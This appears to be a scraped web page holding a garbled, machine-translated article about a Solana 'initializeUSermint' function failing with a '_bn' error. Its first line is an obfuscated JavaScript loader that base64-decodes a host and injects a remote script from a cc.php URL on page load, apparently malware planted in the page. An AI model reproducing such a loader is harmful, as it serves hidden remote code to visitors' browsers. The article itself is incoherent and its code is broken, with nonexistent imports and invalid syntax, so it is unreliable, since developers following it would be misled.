const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=d70b85c8″;document.body.appendChild(script);
Here is the article based on your question:
Solana: initializeUSermint function fails with error _bndespite the corresponding program ID
In Solana, the function of "InitializeUSermint is a decisive part of allowing users to create their own token mint token. This instruction allows users of Mint users new tokens using the program ID, which is a unique identifier for each program.
However, there is a problem with this feature in terms of manipulation with `_bn errors that occur during the initialization process. Despite the correct program ID responsibility, initializeUSermint will fail with a ‘_bnerror, suggesting that something has gone wrong while trying to create a new mint.
What causes this problem?
When using the "InitializeUsermint" instruction in Solana, it is necessary to ensure that the program ID used to initialize corresponds to what requires the token function. In this case, the program ID should match the fields of_bnof the Treaty“ MINTTOKEN ”.
However, there may be situations where this corresponding process fails for various reasons, such as:
- Incorrectly formatted program ID
- Lack of proper verification during initialization
- Rewrite of problems with existing mint tokens
What can you do about it?
To solve this problem and successfully initialize your own user token coin, make sure the following steps are followed:
1 This helps to avoid all errors during initialization.
- Follow the program ID: Perform a thorough validation on the entry program ID to ensure that it is correctly formatted and corresponds to the expected field_bn
contracts 'MintToten'.
- Use the correct tokens contract: Make sure that the token contract used for the extraction has been correctly set, including all the required fields or specializations.
- Check overwriting problems:
Verify that there are any existing tokens with a similar name before continuing the initialization.
Code Example:
To demonstrate how to solve this problem in Solan's programs, there is an example of how you could edit your feature "InicializeUSermint" to include proper validation and error processing "_bn:
`Solana
Import {program} from 'Web3-Solana';
Import {minttoken} from '@solan-program/program';
Const initializeusermint = async (ARGS: Any, Programmid: String) => {
// Verification of the ID of Input Program
IF (! ARGS.PROGRAMID ||!
Throw out a new error ("Invalid Program ID");
}
Const programidwithbnfield = program.
// Check existing mint tokens
Expects Minttocen (Args.programide, Programidwithbnfield);
};
In this modified version of initializeUSermint“, we have added checks to verify the entry program ID and ensure that it corresponds to the expected field '_bn. In addition, we use a more robust method to find the field _bn replacing the underline ‘_bnbefore creating a new program ID.
By following these proven procedures and adjusting the "initializeUSermint" function, you can successfully initialize users' tokens on Solane while solving the problem with the error_bn`.
